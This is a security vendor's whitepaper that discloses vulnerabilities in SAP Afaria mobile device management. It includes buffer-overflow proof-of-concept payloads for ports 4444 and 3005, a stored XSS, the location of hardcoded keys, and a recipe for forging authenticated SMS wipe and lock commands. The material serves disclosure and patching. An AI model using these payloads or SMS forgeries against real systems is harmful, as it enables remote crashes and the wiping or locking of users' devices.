SAP AFARIA SECURITY | ERPScan

1

SAP AFARIA SECURITY Dmitry Chastukhin

Vahagn Vardanyan

2

Contents

1. Introduction ......................................................................................................................................................... 4

2. SAP Afaria ............................................................................................................................................................ 5

2.1. SAP Afaria history ............................................................................................................................................. 5

2.2. SAP Afaria architecture ..................................................................................................................................... 6

2.2.1. Terminology ........................................................................................................................................... 6

2.2.2. SAP Afaria productive landscape ........................................................................................................... 7

2.2.3. Technologies .......................................................................................................................................... 8

2.3. How it works ..................................................................................................................................................... 8

2.3.1. Enrollment policy ........................................................................................................................................... 9

2.3.2. Configuration policy .................................................................................................................................... 11

2.3.3. Application Policy ........................................................................................................................................ 12

2.3.4. Device information ...................................................................................................................................... 13

2.3.5. Communication ........................................................................................................................................... 14

3. SAP Afaria security ............................................................................................................................................. 15

3.1. Good news ...................................................................................................................................................... 15

3.1.1. SAP Afaria vulnerabilities ............................................................................................................................. 16

3.1.1.1. Files with passwords ................................................................................................................................. 16

3.1.1.2. FILES WITH PASSWORDS .......................................................................................................................... 17

3.1.2. RCE, DoS....................................................................................................................................................... 19

3.1.3. XcListener DoS in the module XeClient.Dll .................................................................................................. 19

3.1.4. XcListener BoF ............................................................................................................................................. 20

3.1.4.1. Missing authorization checks ................................................................................................................... 20

3.1.4.1.1. XcListener .............................................................................................................................................. 20

3.1.4.2. Stored XSS ................................................................................................................................................. 20

3.1.4.3. Control via SMS ........................................................................................................................................ 22

Conclusion ............................................................................................................................................................. 26

About ERPScan ...................................................................................................................................................... 27

About ERPScan Research Team ............................................................................................................................. 28

Our Contacts .......................................................................................................................................................... 29

Products ................................................................................................................................................................. 29

Services .................................................................................................................................................................. 29

3

Disclaimer

According to the partnership agreement between ERPScan and SAP, our company is not entitled to publish any specific and detailed information about detected vulnerabilities before SAP releases an appropriate patch. This whitepaper will only include the details of those vulnerabilities that we have the right to publish as of the release date. However, you can see additional examples of exploitation, which prove the existence of the vulnerabilities by following us during the conferences as well as at ERPScan.com [1].

The research was conducted by ERPScan as a part of contribution to the EAS-SEC non-profit organization that is focused on Enterprise Application Security awareness.

This document or any of its fragments cannot be reproduced in whole or partially without prior written consent of EAS-SEC. SAP SE is neither the author nor the publisher of this whitepaper and is not responsible for its content. EAS-SEC and ERPScan are not responsible for any damage that can be incurred by attempting to test the vulnerabilities described in this document. This publication contains references to SAP SE products. SAP NetWeaver and other SAP products and services mentioned herein are trademarks or registered trademarks of SAP SE in Germany.

Our SAP security surveys of other areas of SAP cybersecurity go beyond this whitepaper. You can find the latest statistics reports related to SAP services on the Internet and other endeavors of the ERPScan Research on ERPScan’s blog [2] and on EAS-SEC project’s website [3].

http://erpscan.com/

4

1. Introduction

Bring your own device (BYOD) policy is a common tendency nowadays. In simple words, a company permits employees to use personally owned devices at their work. The benefits of such approach are indisputable for both workers and company. BYOD makes a company look like a flexible and attractive employer, helps in increasing productivity and savings cost.

However, besides numerous business profits, this tendency poses many security risks; some are widely recognized and others are pitfalls for a security team. For example, BYOD results in ineffective corporate network perimeter and less control over enterprise data access from numerous consumer devices.

A set of products were introduced on the market to enable appropriate security level. Various mobile device management (MDM) solutions are among them. Such functions as corporate data segregation, over-the-air distribution of applications, securing corporate documents on device, enforcing corporate policies, managing mobile devices, etc. make an MDM solution a cornerstone of BYOD environment and its security in particular.

Afaria is an MDM solution developed by Germany-based enterprise software maker SAP. SAP Afaria is the prevalent MDM solution on the market with approximately 6,300 enterprises using it to manage more than 130 million mobile devices.

We have examined the solution in terms of security and would like to disclose the details of several serious SAP Afaria vulnerabilities.

5

2. SAP Afaria

As an MDM (Mobile Device Management) solution, SAP Afaria allows controlling and protecting mobile devices used by a company and its employees. Mobile device management has two main goals: securing corporate data on any devices outside the corporate network and controlling the state of the devices themselves.

From the security standpoint, there are some nuances that are not always taken into account. Let us look at a model of the interaction of SMP and Afaria.

The scheme is quite simple, clients use portable devices to connect to SMP and SAP Afaria via the Internet. Naturally, all data passes through the firewall but it does not matter. What is important, is the server and data tier. Afaria and SMP use the same database and interact with each other.

By default, all data transferred between SMP, Afaria, and database is encrypted, but it does not guarantee complete protection against SQL injections (an attack that allows a malefactor to perform unauthorized SQL commands on the data layer). Since SMP uses the same database, it is possible for an attacker to gain access to data and SMP itself, which would compromise the entire SAP infrastructure.

2.1. SAP AFARIA HISTORY

The product was initially developed by XcelleNet and named SessionXpress. The first version saw the release in 1997 and allowed network administrators to manage systems remotely. The product was soon renamed to RemoteWare Express (1997), then to CONNECT:Manage (1999), and finally was named Afaria in 2000.

Sybase bought XcelleNet in 2004, and SAP bought Sybase in 2010.

The previous versions are the following:

• Version 7.0 SP5: Released August 2014 ( as SAP Afaria SP5)

• Version 7.0 SP4: Released December 2013 (as SAP Afaria SP4)

• Version 7.0 SP2: Released December 2012 (as SAP Afaria SP2)

• Version 7.0: Released April 2012 (as SAP Afaria)

6

• Version 6.6: Released September 2010

• Version 6.5: Released November 2009

• Version 6.0: Released December 2008

• Version 5.0: Released November 2003

• Version 4.0: Released June 2000 (as Afaria)

• Version 3.5: Released May 2000 (as Afaria for Handhelds)

• Version 3.0: Released October 1999

• Version 2.0: Released February 1999 (as CONNECT:Manage)

• Version 1.2: Released October 1997 (as RemoteWare Express)

• Version 1.0: Released February 1997 (as SessionXpress)

Afaria is highly recognized in the industry. Market intelligence firm International Data Corporation (IDC) first renowned Afaria as the leader in mobile device management in June 2001 and has continued to do so every year since, through 2011. In 2011, Gartner named Afaria one of the top mobile device management platforms in the first Gartner Magic Quadrant report on the mobile device management market. In the Gartner Quadrant for MDM of June 2014 SAP Afaria was included in the Challengers Quadrant.

2.2. SAP AFARIA ARCHITECTURE

2.2.1. TERMINOLOGY

First, let us define some essential terms.

• Server – Afaria is a server-based solution that supports a single server or server farm environment. The server communicates with the Afaria database, the Afaria Administrator, the Afaria Over-the-Air (OTA) Deployment Center, the relay server, and Afaria Clients. It is the central point for all Afaria activity.

• Afaria Administrator is the web application that provides an interface for the Afaria Server. Afaria Administrator is used to define the server configuration and access policies for Afaria Administrator users, create and manage Afaria Clients, monitor system activity, and communicate with other Afaria Servers.

• Clients – Afaria Clients are user devices, such as laptops, handhelds, and phones, which run Afaria Client software. Clients initiate connections with an Afaria Server to run sessions. Servers use sessions to manage the Clients, deliver Client updates, and to collect data from the Client. Depending upon your licensing, several Client types are available, so you can choose which one best suits your needs.

• Relay server is a secure, load-balance proxy server that relays communication between mobile devices and one or more Sybase server-based products.

http://en.wikipedia.org/wiki/International_Data_Corporation

http://en.wikipedia.org/wiki/International_Data_Corporation

7

• OTA Deployment Center – Afaria supports usage of an optional OTA Deployment Center, which is a web server that you establish to provide software deployment services for your Afaria solution. An administrator pushes Afaria Client installation packages out to the deployment center and then sends notices to device holders. Device holders can download the Client directly onto their device for installation.

• Package server – servers Afaria application packages to devices.

• Self-Service Portal Server (EUSSP, or SSP) lets end users enroll their device in Afaria management and view their device information and issue commands.

• Enrollment Server is required for handheld device enrollment.

• Relay Server Outbound Enabler (RSOE) is intended to initiate an outbound connection to all relay servers in the relay server farm on behalf of the backend server.

• Afaria DB server – the database server contains Afaria database.

• Afaria server farm – multiply Afaria servers operating together in an Afaria installation.

2.2.2. SAP AFARIA PRODUCTIVE LANDSCAPE

Figure 2

8

As the scheme shows, the Afaria architecture is common for such type of products. It should be noted, however, that this scheme is slightly simplified and lacks several protocols, which can also be used by SAP Afaria (e. g. XNET).

2.2.3. TECHNOLOGIES

The Afaria server is mostly written in C#, IIS is the web server, MS SQL or Sybase SQL Anywhere is the database server.

The web interface is written with the help of the Telerik framework.

2.3. HOW IT WORKS

Afaria is an enterprise tool for securing and managing corporate-owned and personally owned user devices (e.g., smartphones, tablets, and desktop or laptop computers) with your enterprise policies. Policies let you:

• Provide and enroll devices in management

• Define device settings

• Secure devices and data

• Collect inventory

• Distribute software

• Collect device activity data for managing expenses

Managing your devices with policies is the core of device management. Afaria uses policies and groups to provide management on devices.

Figure 3

9

• Policies are linked to groups and manage devices.

o Enrollment policies are applied to devices when they enroll in management. An enrollment policy may define group links for an enrolling device.

o Policies for other aspects of ongoing management are explicitly linked to groups.

o Policies are implicitly linked to devices through their common relationship with groups.

• Groups are linked to devices and policies. Groups are a kind of containers for devices. Using groups is similar to using groups and organizational units to simplify network resource management in IT operations.

o Groups are explicitly linked to devices. Define group-device links in an enrollment policy, or after a device is enrolled. A variety of group types are available. Define group links based on manual selection of individual devices, dynamic selection of devices based on device attributes, and dynamic selection of devices based on user groups for users who have devices. You can also define a group that is a composite of multiple groups.

o Groups are explicitly linked to policies.

• Devices are linked to groups and are managed by policies.

o Devices are explicitly linked to groups either at enrollment time, if defined in an enrollment policy, or later during management.

o Devices are implicitly linked to policies through their common relationship with groups.

2.3.1. ENROLLMENT POLICY

Similar to all MDM solutions, Afaria requires installing a client application to any mobile device connected to Afaria. After installation, it has to be configured.

Configuration can be done:

• Manually

• By special codes

• Via the Self-Service Portal

Special codes are usually used because it is the simplest option.

The administrator creates an enrollment policy and binds a special code to the policy. URL shortener services are used to avoid entering the enrollment server URL. The resulting code is entered into the client application.

10

Figure 4

Figure 5

11

After entering the code, the user has to enter their username and password. The authentication typically implies entering the credentials of a corporate network domain user.

Enrollment codes are supported on the following device types:

• Android

• BlackBerry

• iOS (versions 4.3.x – 6.x)

• Windows Mobile Professional

• Windows Mobile Standard

Device enrollment using the portal is supported for the following device types:

• Android

• BlackBerry

• iOS

• Windows Phone

• Windows Mobile Professional

• Windows Mobile Standard

2.3.2. CONFIGURATION POLICY

To configure mobile devices, the administrator creates special configuration policies that define the basic security-related settings of mobile devices.

Figure 6

12

Within this whitepaper, we will examine the Android-based Afaria clients.

2.3.3. APPLICATION POLICY

The administrator also creates an application policy to define which applications to install. Applications can be installed from various sources (including official ones like App Store or Play Market) or downloaded from the Afaria server.

Figure 7

After creating a policy, the administrator can send an implementation request to all required devices at once. The users’ Afaria menus will display the new application icon.

Figure 8

13

2.3.4. DEVICE INFORMATION

After successfully enrolling a device, it will appear in the general device list where the administrator can get advanced information about each device: model, serial number, installed applications, configuration, etc.

Figure 9

Moreover, certain settings also allow informing the server about calls, messages, and location.

Figure 10

14

2.3.5. COMMUNICATION

By default, HTTP and XNET are used by the client. HTTP is used to connect to the enrollment server and package server, XNET is used to connect to Afaria.

Figure 11

SMS, Google GCM, and Apple Push Notification Service can be used as well.

15

3. SAP Afaria security

This research was primarily aimed to find ways of compromising client devices. We looked into the server side mechanics, tried to understand the communication protocols between mobile devices and the server, and studied the functional capabilities of Afaria.

We have discovered several vulnerabilities.

3.1. GOOD NEWS

The Afaria web interface looks quite secure at first. The developers are obviously familiar with such vulnerabilities as XSS, CSRF, and clickjacking. Cookies get all necessary security flags. All queries get CSRF tokens. Actually, it was quite difficult to analyze the web part due to a huge amount of information transmitted in each HTTP request.

Figure 12

Mobile applications also have several mechanisms, which complicates research. For example, the Android application is obfuscated.

Figure 13

16

The application also performs several interesting checks. For example, it checks if the phone is rooted.

Figure 14

3.1.1. SAP AFARIA VULNERABILITIES

3.1.1.1. FILES WITH PASSWORDS

We did not find any files which store passwords in cleartext. However, some files store encrypted passwords and use a static encryption key. For example, the Afaria client for Windows is installed together with the server side. Its configuration files store the encrypted service account password.

Figure 15

17

The password is encrypted with the Blowfish algorithm, with a static key

So, if attackers can read files from the server, they can access this critical account and use it to compromise the system.

Also, some encrypted data can be found in the registry. For example, the database password is in this branch:

HKLM\SOFTWARE\Wow6432Node\Afaria\Afaria\Server\Logging\Database\Password

Continuing with encryption, the next part is also relevant.

3.1.1.2. FILES WITH PASSWORDS

While we were researching the system source code (the server side is written in C#, and the Afaria client we used was an Android application), we found several code parts, which use hardcoded values for encryption. Obviously, this did not contribute to the encryption reliability in a good way.

Figure 16

Figure 17

18

Figure 18

We can even say some cryptographic functions are implemented very insecurely.

Figure 19

Figure 20

19

3.1.2. RCE, DoS

The research has exposed multiple overflows in SAP Afaria services (e.g., XcListener, XComms), which can lead both to denial of service and remote code execution.

3.1.3. XcListener DoS in the module XeClient.Dll

The XcListener service opens the port 4444 to interact with the Afaria server. But if one sends a data package with more than 4098 bytes of data, the service will crash.

PoC:

<AfariaNotify version="1.0.0"><Message type="Command" value="Run Channel" > <Client name="LOCALHOST" >

<Client name="LOCALHOST" GUID="59146189-1f92-46d5-85aa-6293631d5d2e"><Transmitter

address="172.16.2.67:4444\"><Channel address="\\172.16.2.67:4444\asd"

name="\\172.16.2.67:4444\dfAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA











AAAAAAAAAAAAaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa"></Channel></Transmitter></C

lient></Message></AfariaNotify>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
































AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

To correct this vulnerability, install SAP Note 2132584.

https://erpscan.com/advisories/erpscan-15-008-sap-afaria-7-xclistener-buffer-overflow/

https://erpscan.com/advisories/erpscan-15-012-sap-afaria-7-xcomms-bof/

20

3.1.4. XcListener BoF

A similar vulnerability exists in the process which deals with the data coming to the port 3005. Message size is not checked properly, buffer overflows can occur.

PoC:

import socket

HOST = '172.16.30.6' # The remote host

PORT = 3005 # The same port as used by the server

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

poc = 'A'*4098

s.send(poc)

data = s.recv(10000)

s.close()

print 'Received', (data)

To correct this vulnerability, install SAP Note 2132584.

3.1.4.1. MISSING AUTHORIZATION CHECKS

The Afaria server requires authorization for most critical actions, but not for all.

For example, SAP Afaria 7 XcListener has a Missing authorization check.

A vulnerability has been discovered in certain landscape configurations of SAP Afaria that utilize XcListener for initiating client-to-server communications. SAP has released security patches for the vulnerable clients, Windows Mobile, Windows CE, and Windows. Windows Phone is not affected. SAP strongly recommends that customers patch their servers.

To be vulnerable, XcListener must be an active process. The Windows client enrollment policy allows administrators to enable/disable XcListener with the advanced option “Outbound listener and firewall”. XCListener listens to the port 3005. If the port 3005 is not exposed externally, then the vulnerability is only accessible locally on the machine.

3.1.4.1.1. XcListener

3.1.4.2. Stored XSS

When a mobile device establishes a connection to Afaria, it sends its credentials in the first package: client ID, OS type, IMEI, username.

If user or device is not identified by the server, a connection error message is sent to the device.

https://erpscan.com/advisories/erpscan-15-009-sap-afaria-7-xclistener-missing-authorization-check/

21

Figure 22

Interestingly, the administrative interface will still display the information about the device in the general list, just flag it as unapproved.

22

Figure 23

The vulnerability name might have given you a clue to which field does not filter user input and allows using tags

As a result, an attacker can send a request with an XSS vector to inject JavaScript code into the Afaria server administrative section anonymously, which is undoubtedly very useful for subsequent attacks.

Install SAP Note 2152669 to fix the issue.

3.1.4.3. Control via SMS

As mentioned before, administrators can use SMS to control devices connected to Afaria. They can configure sending messages either via special SMPP (Short Message Peer-to-Peer) services or via a connected GPS modem.

Administrators can use SMS commands to:

• Lock a phone

• Wipe a phone

• Unlock a phone

• Request log

• Block a user

• Send a message

• Remediate

• Transmit location data

• Implement policy

• etc.

These operations are executed if the phone receives an SMS with one the following commands:

• WIPEALLDATA

• WIPENITRODESK

• WIPENITRODESKSDCARD

• LOCKDEVICE

• FETCHLOG

• UNLOCKDEVICE

• USERLOCK

• REMEDIATE

• NOTIFY

23

Of course, developers of Afaria implemented an SMS authentication, otherwise phones would be wiped by any messages containing these words all the time. But let us see if this authentication is as reliable as it should be.

For example, this is how an SMS to lock user looks:

@#!Afaria64aACAhntVzjTIjhHDMGql8ldvc/8U6IlIoPU7aAOT8=$\$CMD:USERLOCK

– where:

@#!Afaria – a signature commanding the Afaria mobile application to process the message

64aACAhntVzjTIjhHDMGql8ldvc/8U6IlIoPU7aAOT8= – a Base64 SMS authentication string

$\$CMD – an ID which means the SMS contains a command

USERLOCK – the command itself

The most interesting part is, of course, the Base64 string, which is responsible for the phone deciding to execute the command. Let us look at it closely.

Decoding Base64 yields an unintelligible string of bytes, so it is probably a hash used for authentication.

Figure 24

We have checked the Afaria client source code and learned SHA256 is used for hashing.

This is what is hashed:

<LastAdminSessionID>+<ClientID>+<TransmitterID>+$\$CMD:<CMD_NAME>

– where:

<LastAdminSessionID>– ID of the last session of this phone with the Afaria server

<ClientID> – mobile device ID

<TransmitterID> – transmitter ID

So, the SMS has the following format:

@#!Afaria+base64(sha256(<LastAdminSessionID> +<ClientID>+<TransmitterID>+$\$CMD: +<CMD_NAME>))+$\$CMD:+

<CMD_NAME>

In the end, the attacker has to learn 3 variables to forge a correct hash and send a valid SMS.

It looks reliable at first. o authenticate, one needs to know session, client, and server. So, the text message looks like this:

@#!Afaria+base64(sha256(<LastAdminSessionID>+<ClientID>+<TransmitterID>+$\$CMD:+<CMD_NAME>))+$\$CMD:+<C

MD_NAME>

But don’t give up too soon. Here is how the client works:

24

If you look closer, you will notice that the client tries to compare two hashes, not one. The first one consists of all three parameters (IDs of session, client, and server), and the second one that is composed of two parameters (client ID twice and server ID). It turns out that you don’t need to know the session, and It facilitates an authentication bypass.

So, what about ClientID and TransmitterID? As for TransmitterID, we can obtain it anonymously by sending a connection request to the Afaria server, as the server retrieves the value as a response. Hackers only need to obtain ClientID to perform the attack.

Analysis of Afaria binary files showed that ClientID is generated on the basis of IMEI (International Mobile Equipment Identity). The only thing the hacker needs to direct the attack is someone’s phone number and IMEI.

25

How can one obtain IMEI? Here are several ways to resolve it:

• Bruteforce attack. It makes sense as corporations often purchase phones in bulk, so IMEI numbers are sequential. it’s pretty easy to guess all IMEIs for phones belonging to a company if you know one.

• Traffic Interception. One can sniff traffic transmitted from third-party applications via insecure protocols. For example, map services send both phone and base station information to the server;

• Vulnerabilities in Afaria. For instance, an XSS described in the previous blog post;

• A number of different IMEI catchers and fake BTS.

It is recommended to install SAP Note 2155690 to fix this issue.

https://erpscan.com/press-center/blog/sap-afaria-security-stored-xss-vulnerability-detailed-review/

http://www.septier.com/368.html

https://service.sap.com/sap/support/notes/2155690

26

Conclusion

You should not rely on security solutions completely and think that they are a panacea because they are supposed to have been written by more skilled programmers. Sometimes these products only worsen a situation and provide hackers one more entry point to your system.

27

About ERPScan

ERPScan is the most respected and credible Business Application Security provider. Founded in 2010, the company operates globally. Named as an ‘Emerging vendor’ in Security by CRN and distinguished by more than 30 other awards - ERPScan is the leading SAP SE partner in discovering and resolving security vulnerabilities. ERPScan consultants work with SAP SE in Walldorf supporting in improving security of their latest solutions.

ERPScan’s primary mission is to close the gap between technical and business security, and provide solutions to evaluate and secure ERP systems and business-critical applications from both, cyber-attacks as well as internal fraud. Usually our clients are large enterprises, Fortune 2000 companies and managed service providers whose requirements are to actively monitor and manage security of vast SAP landscapes on a global scale.

Our flagship product is ERPScan Security Monitoring Suite for SAP. This multi award-winning innovative software is the only solution in the market certified by SAP SE covering all tiers of SAP security i.e. vulnerability assessment, source code review and Segregation of Duties. The largest companies from across diverse industries like oil and gas, banking, retail, even nuclear power installations as well as consulting companies have successfully deployed the software. ERPScan Monitoring Suite for SAP is specifically designed for enterprise systems to continuously monitor changes in multiple SAP systems. It generates and analyzes trends on user friendly dashboards, manages risks, tasks and can export results to external systems. These features enable central management of SAP system security with minimal time and effort.

We use ‘follow the sun’ principle and function in two hubs, located in the Netherlands and the US to operate local offices and partner network spanning 20+ countries around the globe. This enables monitoring cyber threats in real time while providing an agile customer support.

28

About ERPScan Research Team

The company’s expertise is based on the research subdivision of ERPScan, which is engaged in vulnerability research and analysis of critical enterprise applications. It has achieved multiple acknowledgments from the largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for exposing in excess of 400 vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proudly to expose new types of vulnerabilities (TOP 10 Web hacking techniques 2012) and were nominated for best server-side vulnerability in BlackHat 2013.

ERPScan experts have been invited to speak, present and train at 60+ prime international security conferences in 25+ countries across the continents. These include BlackHat, RSA, HITB as well as private trainings for SAP in several Fortune 2000 companies.

ERPScan researchers lead project EAS-SEC, which is focused on enterprise application security research and awareness. They have published 3 exhaustive annual award-winning surveys about SAP Security. ERPScan experts have been interviewed by leading media resources and specialized info-sec publications worldwide, these include Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise and Chinabyte to name a few.

We have highly qualified experts in staff with experience in many different fields of security, from web applications and mobile/embedded to reverse engineering and ICS/SCADA systems, accumulating their experience, to conduct research in SAP system security.

29

Our Contacts

Global Headquarters: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

EMEA Headquarters: Luna ArenA 238 Herikerbergweg, 1101 CM Amsterdam

Phone: +31 20 8932892

Twitter: @erpscan

Web: www.erpscan.com

Contact: [email protected]

PR: [email protected]

Products • ERPScan Security Monitoring Suite for SAP

• ERPScan Security Scanner for SAP

• ERPScan Security Monitoring Suite for Oracle PeopleSoft

• SAP Code Security as a Service

Services • SAP Vulnerability Assessment

• SAP Security Audit

• SAP Security Trainings

• ABAP code security review

• SAP Penetration testing

https://twitter.com/erpscan

mailto:[email protected]

http://erpscan.com/products/erpscan-security-monitoring-suite-for-sap/

http://erpscan.com/products/erpscan-security-scanner-for-sap/

http://erpscan.com/products/erpscan-add-on-for-peoplesoft/

https://erpscan.com/products/sap-code-security-scan-service/

https://erpscan.com/services-2/sap-vulnerability-assessment/

https://erpscan.com/services-2/sap-security-audit/

https://erpscan.com/services-2/sap-security-trainings/

https://erpscan.com/services-2/abap-code-review-security-scan/

https://erpscan.com/services-2/sap-penetration-testing/

mailto:[email protected]

SAP AFARIA SECURITY | ERPScan

Documents

Transcript of SAP AFARIA SECURITY | ERPScan